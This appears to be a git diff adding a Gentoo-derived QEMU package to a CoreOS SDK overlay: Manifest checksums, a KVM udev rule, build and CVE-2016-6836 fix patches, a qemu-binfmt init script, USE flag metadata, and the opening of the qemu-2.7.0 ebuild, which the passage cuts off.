WHIRLPOOL 8fcbd4abf9b8f7ca3d16fe0eaf17196ebf708dfecf85ce0f020e0de22b64905114f7b310f361826c81bb961c6b1bbbf984bff1e595bb949993b8966ccb222c35 +AUX qemu-2.5.0-cflags.patch 410 SHA256 17f5624dd733f5c80e733cc67ae36a736169ec066024dbf802b416accfed0755 SHA512 0194d28de08b4e51c5bd1c9a2cc7965ba7f66dfddb8fd91de3da93677e6cf2d38ad3270f69aaea8a20cf2533c2980018d6e0fed711be2806fe2053fba7c081f3 WHIRLPOOL 5f5b95d00409fbe03adb64801d30a2fb5f98dded5efa7f0e78b5746776f72917dcbea767e1d0afcb304d8bf8c484adedb8037e6d54e9d34997c2bc3a98b53154 +AUX qemu-2.5.0-sysmacros.patch 333 SHA256 a5716fc02da383d455f5cbd76f49e4ee74d84c2d5703319adcbeb145d04875f9 SHA512 329632c5bff846ca3ffcdb4bc94ae62f17c6bdbb566f9bec0784357c943523e8ca7773790b83a9617734cab3b003baa3d636cbd08f7385810a63b0fa0383c4f0 WHIRLPOOL 2a774767d4685545d3ed18e4f5dece99a9007597d73c56197652ff24083550f987ffb69e5c624760dece87def71a7c5c22a694bf999d7309e48ef622f18f0d73 +AUX qemu-2.7.0-CVE-2016-6836.patch 889 SHA256 a94812131e8baa66b81971579ab84b20bf15d544e2698448a5247ac0ddca0b3d SHA512 cf7f327f26aee5b6688eb662ced8aa07775ad9558b4a02db244303f6b7d37be9cd19b18d5725819b4708184105b98830864e0ad3af81373e59e880809036345b WHIRLPOOL df00627ad447162fdcac4b2c965a8cb5c916a7fb66d8c3a4f8f48bb2d869d7805cb3308cd495ff74ebf4840e7bc2d85abf8e666d78b3da9abb4e2bae22697a82 +AUX qemu-binfmt.initd-r1 7966 SHA256 5b4b432aa1e44f387c9eb789de0ec6322741fd36dd241f76520f17c6cd6ac49b SHA512 2ba0bff6eb2b6bac4ed440f793771ce9551cad48e38bddb6cf04f804faac2407e80879f66771910344ddcea45f0014095dcc8bfeb0aad5085ef048fd3612dbd8 WHIRLPOOL a2a1fb830a970757d1e203378c7d382b161b1040f3b8aaf0f22bb3b5e46467eff395474ff40d93c9f133bab307b345a6f75d63eae9f8dd8daf67324db41032f9 +DIST qemu-2.7.0.tar.bz2 26867760 SHA256 326e739506ba690daf69fc17bd3913a6c313d9928d743bd8eddb82f403f81e53 SHA512 654acaa7b3724a288e5d7e2a26ab780d9c9ed9f647fba00a906cbaffbe9d58fd666f2d962514aa2c5b391b4c53811ac3170d2eb51727f090bd19dfe45ca9a9db WHIRLPOOL dcb3e5f7da89dd8e14d636d7ebd476e076e0043880bb9ea3fb1c03cb4bcd4e5c7d3c4719da26c3ce521e3a3db5ae671e86f198ac1bc3474e774d75504fef8b8d +EBUILD qemu-2.7.0.ebuild 20516 SHA256 987648bd2fd0f1ebf45493698ec2b9ed2e16d6abb38fd48eb793ef3b6d55c55b SHA512 bf0cd8fa256036002771d3e5476970d50ffc6b86c8b6a9b5a0048c4ac992b816fb5585d2fd1485b3adda3a55737b32e8e1f07bcea4200d3bac0a9ac98840e181 WHIRLPOOL 3f9b559d60a933339a52de83004632bdfc8c45285013cef86a5f99fe580eafa7443ea5cae9399b54865bb05bc1007492575f98ac109b2a17d37d10d44d8874bf +EBUILD qemu-9999.ebuild 20465 SHA256 0722782a27bbb312bc9bede6a556fd6f086e6c056cb4b8b197e3ec8c10801945 SHA512 3f5130a9cffb1cdf7460693e777c82ec289649ba74367417f1a865f7231a976de234b2be5c2882eeb358d1aecb2e59f3ddf8bd28a66be17bea4ef58b122564ae WHIRLPOOL a009c51c5f08c6e9ee89467b47eef435fd68b97c3e253a300662cf476f119ad4c96911040a72570d1f2aef3d44128b0c5544008918764430e0f9f0dde94b16ad +MISC ChangeLog 28480 SHA256 20cb806ded220afccc77c70ce040291665a4325b627cdc0f975f66919006aedb SHA512 93aa1616116d1d5e0456e14c86773373a65febd9128e72400ffeb7db5ee4721ceba0dc53607d86435049cbd910846b4197f2b15b00f39de601efaa6c90d8b9f3 WHIRLPOOL a54f9b7c1260a190174240edae87e47b7b9f39a51e8f1d03917748b2ea82e2e0721fb142cc7b33ce54e285deb8e4ba3fc483ab0c912f4ae28d3280777d9588f3 +MISC ChangeLog-2015 58193 SHA256 60c1a4f4c85515520ab14da920bbbf4a6813491ce16b5357a0456ea588815a5c SHA512 ddfe8e75aabe59b731a4a8b31839d8c71fd516620306d2bc99d7641cc501652974e053104caafa7550c5ad33b6834295f6743a98b9419d292b8bf6f67918ccd3 WHIRLPOOL a6841f79c3ba1cbf76a8c7fde296a2912c46ddd251494dca3bf3bc13391c80595b6f80125c383823899942248008ede7065b0f5c8e43f9bc1d0464aa62cc187f +MISC metadata.xml 3925 SHA256 d1c219b7da0cbf77919cd1e055acbb3f6788a574fd802c98a43c89a411697b36 SHA512 3ff45d1c8ede12b4eedc7d01f39777b76a1cbd0ba9364299dec99d4b4a05cade5784d6f6e50197d5b5ae1f1b8e831c49da195eb53263c49b7d16aec8ee28b6e6 WHIRLPOOL bc25783fac0f3f13318834cc535404af9af20de16c7aeec222e59dc2ed7740ac5e767b329a5bcd6356d0cbae2428e278515f1446aa8ecb87a873bf4dbe04bf41 diff --git a/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/65-kvm.rules b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/65-kvm.rules new file mode 100644 index 0000000000..c2f7317aac --- /dev/null +++ b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/65-kvm.rules @@ -0,0 +1 @@ +KERNEL=="kvm", GROUP="kvm", MODE="0660" diff --git a/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/bridge.conf b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/bridge.conf new file mode 100644 index 0000000000..2bde37e2ef --- /dev/null +++ b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/bridge.conf @@ -0,0 +1,14 @@ +# This should have the following permissions: root:qemu 0640 + +# allow br0 +# Uncommenting the above would allow users in the 'qemu' group +# to add devices to 'br0' + +# allow virbr0 +# Uncommenting the above would allow users in the 'qemu' group +# to add devices to 'virbr0' + +# include /etc/qemu/bob.conf +# Uncommenting the above would allow users in the 'bob' group +# to have permissions defined in it, iff it has the following +# permissions: root:bob 0640 diff --git a/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/qemu-2.5.0-cflags.patch b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/qemu-2.5.0-cflags.patch new file mode 100644 index 0000000000..173394fd02 --- /dev/null +++ b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/qemu-2.5.0-cflags.patch @@ -0,0 +1,13 @@ +--- a/configure ++++ b/configure +@@ -4468,10 +4468,6 @@ fi + if test "$gcov" = "yes" ; then + CFLAGS="-fprofile-arcs -ftest-coverage -g $CFLAGS" + LDFLAGS="-fprofile-arcs -ftest-coverage $LDFLAGS" +-elif test "$fortify_source" = "yes" ; then +- CFLAGS="-O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 $CFLAGS" +-elif test "$debug" = "no"; then +- CFLAGS="-O2 $CFLAGS" + fi + + ########################################## diff --git a/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/qemu-2.5.0-sysmacros.patch b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/qemu-2.5.0-sysmacros.patch new file mode 100644 index 0000000000..f2e766dc1c --- /dev/null +++ b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/qemu-2.5.0-sysmacros.patch @@ -0,0 +1,15 @@ +Linux C libs are moving away from implicit header pollution with sys/types.h + +--- a/include/qemu/osdep.h ++++ b/include/qemu/osdep.h +@@ -78,6 +78,10 @@ extern int daemon(int, int); + #include + #include + ++#ifdef __linux__ ++#include ++#endif ++ + #ifdef __OpenBSD__ + #include + #endif diff --git a/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/qemu-2.7.0-CVE-2016-6836.patch b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/qemu-2.7.0-CVE-2016-6836.patch new file mode 100644 index 0000000000..56f7435df5 --- /dev/null +++ b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/qemu-2.7.0-CVE-2016-6836.patch @@ -0,0 +1,27 @@ +From: Li Qiang + +In Vmxnet3 device emulator while processing transmit(tx) queue, +when it reaches end of packet, it calls vmxnet3_complete_packet. +In that local 'txcq_descr' object is not initialised, which could +leak host memory bytes a guest. + +Reported-by: Li Qiang +Signed-off-by: Prasad J Pandit +--- + hw/net/vmxnet3.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/hw/net/vmxnet3.c b/hw/net/vmxnet3.c +index 90f6943..92f6af9 100644 +--- a/hw/net/vmxnet3.c ++++ b/hw/net/vmxnet3.c +@@ -531,6 +531,7 @@ static void vmxnet3_complete_packet(VMXNET3State *s, int qidx, uint32_t tx_ridx) + + VMXNET3_RING_DUMP(VMW_RIPRN, "TXC", qidx, &s->txq_descr[qidx].comp_ring); + ++ memset(&txcq_descr, 0, sizeof(txcq_descr)); + txcq_descr.txdIdx = tx_ridx; + txcq_descr.gen = vmxnet3_ring_curr_gen(&s->txq_descr[qidx].comp_ring); + +-- +2.5.5 diff --git a/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/qemu-binfmt.initd-r1 b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/qemu-binfmt.initd-r1 new file mode 100644 index 0000000000..18adb65c08 --- /dev/null +++ b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/files/qemu-binfmt.initd-r1 @@ -0,0 +1,139 @@ +#!/sbin/openrc-run +# Copyright 1999-2016 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Id$ + +# enable automatic i386/ARM/M68K/MIPS/SPARC/PPC/s390 program execution by the kernel + +# Defaulting to OC should be safe because it comes down to: +# - do we trust the interp itself to not be malicious? yes; we built it. +# - do we trust the programs we're running? ish; same permission as native +# binaries apply. so if user can do bad stuff natively, cross isn't worse. +: ${QEMU_BINFMT_FLAGS:=OC} + +depend() { + after procfs +} + +start() { + ebegin "Registering qemu-user binaries (flags: ${QEMU_BINFMT_FLAGS})" + + if [ ! -d /proc/sys/fs/binfmt_misc ] ; then + modprobe -q binfmt_misc + fi + + if [ ! -d /proc/sys/fs/binfmt_misc ] ; then + eend $? "You need support for 'misc binaries' in your kernel!" || return + fi + + if [ ! -f /proc/sys/fs/binfmt_misc/register ] ; then + mount -t binfmt_misc binfmt_misc /proc/sys/fs/binfmt_misc >/dev/null 2>&1 + eend $? || return + fi + + # probe cpu type + cpu=`uname -m` + case "$cpu" in + i386|i486|i586|i686|i86pc|BePC|x86_64) + cpu="i386" + ;; + m68k) + cpu="m68k" + ;; + mips*) + cpu="mips" + ;; + "Power Macintosh"|ppc|ppc64) + cpu="ppc" + ;; + armv[4-9]*) + cpu="arm" + ;; + sparc*) + cpu="sparc" + ;; + esac + + # register the interpreter for each cpu except for the native one + if [ $cpu != "i386" -a -x "/usr/bin/qemu-i386" ] ; then + echo ':i386:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00:\xff\xff\xff\xff\xff\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-i386:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + echo ':i486:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x06\x00:\xff\xff\xff\xff\xff\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-i386:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + if [ $cpu != "alpha" -a -x "/usr/bin/qemu-alpha" ] ; then + echo ':alpha:M::\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x26\x90:\xff\xff\xff\xff\xff\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-alpha:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + if [ $cpu != "arm" -a -x "/usr/bin/qemu-arm" ] ; then + echo ':arm:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\x00\xff\xfe\xff\xff\xff:/usr/bin/qemu-arm:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + if [ $cpu != "arm" -a -x "/usr/bin/qemu-armeb" ] ; then + echo ':armeb:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-armeb:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + if [ $cpu != "aarch64" -a -x "/usr/bin/qemu-aarch64" ] ; then + echo ':aarch64:M::\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\xb7\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-aarch64:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + if [ $cpu != "sparc" -a -x "/usr/bin/qemu-sparc" ] ; then + echo ':sparc:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x02:\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-sparc:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + if [ $cpu != "ppc" -a -x "/usr/bin/qemu-ppc" ] ; then + echo ':ppc:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-ppc:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + if [ $cpu != "m68k" -a -x "/usr/bin/qemu-m68k" ] ; then + #echo 'Please check cpu value and header information for m68k!' + echo ':m68k:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x08:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-m68k:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + if [ $cpu != "mips" -a -x "/usr/bin/qemu-mips" ] ; then + # FIXME: We could use the other endianness on a MIPS host. + echo ':mips:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-mips:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + if [ $cpu != "mips" -a -x "/usr/bin/qemu-mipsel" ] ; then + echo ':mipsel:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-mipsel:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + if [ $cpu != "mips" -a -x "/usr/bin/qemu-mipsn32" ] ; then + echo ':mipsn32:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-mipsn32:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + if [ $cpu != "mips" -a -x "/usr/bin/qemu-mipsn32el" ] ; then + echo ':mipsn32el:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-mipsn32el:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + if [ $cpu != "mips" -a -x "/usr/bin/qemu-mips64" ] ; then + echo ':mips64:M::\x7fELF\x02\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-mips64:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + if [ $cpu != "mips" -a -x "/usr/bin/qemu-mips64el" ] ; then + echo ':mips64el:M::\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-mips64el:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + if [ $cpu != "sh" -a -x "/usr/bin/qemu-sh4" ] ; then + echo ':sh4:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x2a\x00:\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-sh4:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + if [ $cpu != "sh" -a -x "/usr/bin/qemu-sh4eb" ] ; then + echo ':sh4eb:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x2a:\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-sh4eb:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + if [ $cpu != "s390x" -a -x "/usr/bin/qemu-s390x" ] ; then + echo ':s390x:M::\x7fELF\x02\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x16:\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-s390x:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register + fi + eend $? +} + +stop() { + ebegin "Unregistering qemu-user binaries" + local arches + + arches="${arches} i386 i486" + arches="${arches} alpha" + arches="${arches} arm armeb" + arches="${arches} aarch64" + arches="${arches} sparc" + arches="${arches} ppc" + arches="${arches} m68k" + arches="${arches} mips mipsel mipsn32 mipsn32el mips64 mips64el" + arches="${arches} sh4 sh4eb" + arches="${arches} s390x" + + for a in ${arches}; do + if [ -f /proc/sys/fs/binfmt_misc/$a ] ; then + echo '-1' > /proc/sys/fs/binfmt_misc/$a + fi + done + + eend $? +} + +# vim: ts=4 : diff --git a/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/metadata.xml b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/metadata.xml new file mode 100644 index 0000000000..d036967f11 --- /dev/null +++ b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/metadata.xml @@ -0,0 +1,58 @@ + + + + + qemu@gentoo.org + Gentoo QEMU Project + + + Adds support for braille displays using brltty + Enables support for Linux's Async IO + Enable alsa output for sound emulation + Support ISOs / -cdrom directives vis HTTP or HTTPS. + Enables firmware device tree support + Enables GlusterFS cluster fileystem via + sys-cluster/glusterfs + Enable TLS support for the VNC console server. + For 1.4 and newer this also enables WebSocket support. + For 2.0 through 2.3 also enables disk quorum support. + Use gtk-2 instead of gtk-3 + Enable direct iSCSI support via + net-libs/libiscsi instead of indirectly via the Linux + block layer that sys-block/open-iscsi does. + Enable the ncurses-based console + Enable NFS support + Enable NUMA support + Pin the versions of BIOS firmware to the version included in the upstream release. + This is needed to sanely support migration/suspend/resume/snapshotting/etc... of instances. + When the blobs are different, random corruption/bugs/crashes/etc... may be observed. + Enable pulseaudio output for sound emulation + Enable rados block device backend support, see http://ceph.newdream.net/wiki/QEMU-RBD + Enable the SDL-based console + Use libsdl2 instead of libsdl + Enable Spice protocol support via app-emulation/spice + Enable SSH based block device support via net-libs/libssh2 + Builds the Software MMU (system) targets as static binaries + Build the User targets as static binaries + Enables both 'static-softmmu' and 'static-user' + Enable support for snappy compression + Enable SystemTAP/DTrace tracing + Enable the TCG Interpreter which can speed up or slowdown workloads depending on the host and guest CPUs being emulated. In the future it will be a runtime option but for now its compile time. + Enable jpeg image support for the VNC console server + Enable png image support for the VNC console server + Enable USB passthrough via dev-libs/libusb + Use sys-apps/usbredir to redirect USB devices to another machine over TCP + Enable UUID support in the vdi block driver + Enable VDE-based networking + Enable accelerated networking using vhost-net, see http://www.linux-kvm.org/page/VhostNet + Enable experimental Virgil 3d (virtual software GPU) + Enable VirtFS via virtio-9p-pci / fsdev. See http://wiki.qemu.org/Documentation/9psetup + Enable terminal support (x11-libs/vte) in the GTK+ interface + Add support for getting and setting POSIX extended attributes, through + sys-apps/attr. Requisite for the virtfs backend. + + Enables support for Xen backends + Support xfsctl() notification and syncing for XFS backed + virtual disks. + + diff --git a/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/qemu-2.7.0.ebuild b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/qemu-2.7.0.ebuild new file mode 100644 index 0000000000..98ee886f9b --- /dev/null +++ b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/qemu-2.7.0.ebuild @@ -0,0 +1,678 @@ +# Copyright 1999-2016 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Id$ + +EAPI="5" + +PYTHON_COMPAT=( python2_7 ) +PYTHON_REQ_USE="ncurses,readline" + +PLOCALES="bg de_DE fr_FR hu it tr zh_CN" + +inherit eutils flag-o-matic linux-info toolchain-funcs multilib python-r1 \ + user udev fcaps readme.gentoo pax-utils l10n + +if [[ ${PV} = *9999* ]]; then + EGIT_REPO_URI="git://git.qemu.org/qemu.git" + inherit git-2 + SRC_URI="" +else + SRC_URI="http://wiki.qemu-project.org/download/${P}.tar.bz2" + KEYWORDS="amd64 ~arm64 ~ppc ~ppc64 x86 ~x86-fbsd" +fi + +DESCRIPTION="QEMU + Kernel-based Virtual Machine userland tools" +HOMEPAGE="http://www.qemu.org http://www.linux-kvm.org" + +LICENSE="GPL-2 LGPL-2 BSD-2" +SLOT="0" +IUSE="accessibility +aio alsa bluetooth bzip2 +caps +curl debug +fdt glusterfs \ +gnutls gtk gtk2 infiniband iscsi +jpeg \ +kernel_linux kernel_FreeBSD lzo ncurses nfs nls numa opengl +pin-upstream-blobs ++png pulseaudio python \ +rbd sasl +seccomp sdl sdl2 selinux smartcard snappy spice ssh static static-softmmu +static-user systemtap tci test +threads usb usbredir +uuid vde +vhost-net \ +virgl virtfs +vnc vte xattr xen xfs" + +COMMON_TARGETS="aarch64 alpha arm cris i386 m68k microblaze microblazeel mips +mips64 mips64el mipsel or32 ppc ppc64 s390x sh4 sh4eb sparc sparc64 unicore32 +x86_64" +IUSE_SOFTMMU_TARGETS="${COMMON_TARGETS} lm32 moxie ppcemb tricore xtensa xtensaeb" +IUSE_USER_TARGETS="${COMMON_TARGETS} armeb mipsn32 mipsn32el ppc64abi32 ppc64le sparc32plus tilegx" + +use_softmmu_targets=$(printf ' qemu_softmmu_targets_%s' ${IUSE_SOFTMMU_TARGETS}) +use_user_targets=$(printf ' qemu_user_targets_%s' ${IUSE_USER_TARGETS}) +IUSE+=" ${use_softmmu_targets} ${use_user_targets}" + +# Allow no targets to be built so that people can get a tools-only build. +# Block USE flag configurations known to not work. +REQUIRED_USE="${PYTHON_REQUIRED_USE} + gtk2? ( gtk ) + qemu_softmmu_targets_arm? ( fdt ) + qemu_softmmu_targets_microblaze? ( fdt ) + qemu_softmmu_targets_ppc? ( fdt ) + qemu_softmmu_targets_ppc64? ( fdt ) + sdl2? ( sdl ) + static? ( static-softmmu static-user ) + static-softmmu? ( !alsa !pulseaudio !bluetooth !opengl !gtk !gtk2 ) + virtfs? ( xattr ) + vte? ( gtk )" + +# Yep, you need both libcap and libcap-ng since virtfs only uses libcap. +# +# The attr lib isn't always linked in (although the USE flag is always +# respected). This is because qemu supports using the C library's API +# when available rather than always using the extranl library. +# +# Older versions of gnutls are supported, but it's simpler to just require +# the latest versions. This is also why we require nettle. +# +# TODO: Split out tools deps into another var. e.g. bzip2 is only used by +# system binaries and tools, not user binaries. +COMMON_LIB_DEPEND=">=dev-libs/glib-2.0[static-libs(+)] + sys-libs/zlib[static-libs(+)] + bzip2? ( app-arch/bzip2[static-libs(+)] ) + xattr? ( sys-apps/attr[static-libs(+)] )" +SOFTMMU_LIB_DEPEND="${COMMON_LIB_DEPEND} + >=x11-libs/pixman-0.28.0[static-libs(+)] + accessibility? ( app-accessibility/brltty[static-libs(+)] ) + aio? ( dev-libs/libaio[static-libs(+)] ) + alsa? ( >=media-libs/alsa-lib-1.0.13 ) + bluetooth? ( net-wireless/bluez ) + caps? ( sys-libs/libcap-ng[static-libs(+)] ) + curl? ( >=net-misc/curl-7.15.4[static-libs(+)] ) + fdt? ( >=sys-apps/dtc-1.4.0[static-libs(+)] ) + glusterfs? ( >=sys-cluster/glusterfs-3.4.0[static-libs(+)] ) + gnutls? ( + dev-libs/nettle:=[static-libs(+)] + >=net-libs/gnutls-3.0:=[static-libs(+)] + ) + gtk? ( + gtk2? ( + x11-libs/gtk+:2 + vte? ( x11-libs/vte:0 ) + ) + !gtk2? ( + x11-libs/gtk+:3 + vte? ( x11-libs/vte:2.90 ) + ) + ) + infiniband? ( sys-fabric/librdmacm:=[static-libs(+)] ) + iscsi? ( net-libs/libiscsi ) + jpeg? ( virtual/jpeg:0=[static-libs(+)] ) + lzo? ( dev-libs/lzo:2[static-libs(+)] ) + ncurses? ( sys-libs/ncurses:0=[static-libs(+)] ) + nfs? ( >=net-fs/libnfs-1.9.3[static-libs(+)] ) + numa? ( sys-process/numactl[static-libs(+)] ) + opengl? ( + virtual/opengl + media-libs/libepoxy[static-libs(+)] + media-libs/mesa[static-libs(+)] + media-libs/mesa[egl,gles2] + ) + png? ( media-libs/libpng:0=[static-libs(+)] ) + pulseaudio? ( media-sound/pulseaudio ) + rbd? ( sys-cluster/ceph[static-libs(+)] ) + sasl? ( dev-libs/cyrus-sasl[static-libs(+)] ) + sdl? ( + !sdl2? ( + media-libs/libsdl[X] + >=media-libs/libsdl-1.2.11[static-libs(+)] + ) + sdl2? ( + media-libs/libsdl2[X] + media-libs/libsdl2[static-libs(+)] + ) + ) + seccomp? ( >=sys-libs/libseccomp-2.1.0[static-libs(+)] ) + smartcard? ( >=app-emulation/libcacard-2.5.0[static-libs(+)] ) + snappy? ( app-arch/snappy[static-libs(+)] ) + spice? ( + >=app-emulation/spice-protocol-0.12.3 + >=app-emulation/spice-0.12.0[static-libs(+)] + ) + ssh? ( >=net-libs/libssh2-1.2.8[static-libs(+)] ) + usb? ( >=virtual/libusb-1-r2[static-libs(+)] ) + usbredir? ( >=sys-apps/usbredir-0.6[static-libs(+)] ) + uuid? ( >=sys-apps/util-linux-2.16.0[static-libs(+)] ) + vde? ( net-misc/vde[static-libs(+)] ) + virgl? ( media-libs/virglrenderer[static-libs(+)] ) + virtfs? ( sys-libs/libcap ) + xfs? ( sys-fs/xfsprogs[static-libs(+)] )" +USER_LIB_DEPEND="${COMMON_LIB_DEPEND}" +X86_FIRMWARE_DEPEND=" + >=sys-firmware/ipxe-1.0.0_p20130624 + pin-upstream-blobs? ( + ~sys-firmware/seabios-1.8.2 + ~sys-firmware/sgabios-0.1_pre8 + ~sys-firmware/vgabios-0.7a + ) + !pin-upstream-blobs? ( + sys-firmware/seabios + sys-firmware/sgabios + sys-firmware/vgabios + )" +CDEPEND=" + !static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND//\[static-libs(+)]} ) " ${use_softmmu_targets}) ) + !static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND//\[static-libs(+)]} ) " ${use_user_targets}) ) + qemu_softmmu_targets_i386? ( ${X86_FIRMWARE_DEPEND} ) + qemu_softmmu_targets_x86_64? ( ${X86_FIRMWARE_DEPEND} ) + python? ( ${PYTHON_DEPS} ) + systemtap? ( dev-util/systemtap ) + xen? ( app-emulation/xen-tools:= )" +DEPEND="${CDEPEND} + dev-lang/perl + =dev-lang/python-2* + sys-apps/texinfo + virtual/pkgconfig + kernel_linux? ( >=sys-kernel/linux-headers-2.6.35 ) + gtk? ( nls? ( sys-devel/gettext ) ) + static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND} ) " ${use_softmmu_targets}) ) + static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND} ) " ${use_user_targets}) ) + test? ( + dev-libs/glib[utils] + sys-devel/bc + )" +RDEPEND="${CDEPEND} + selinux? ( 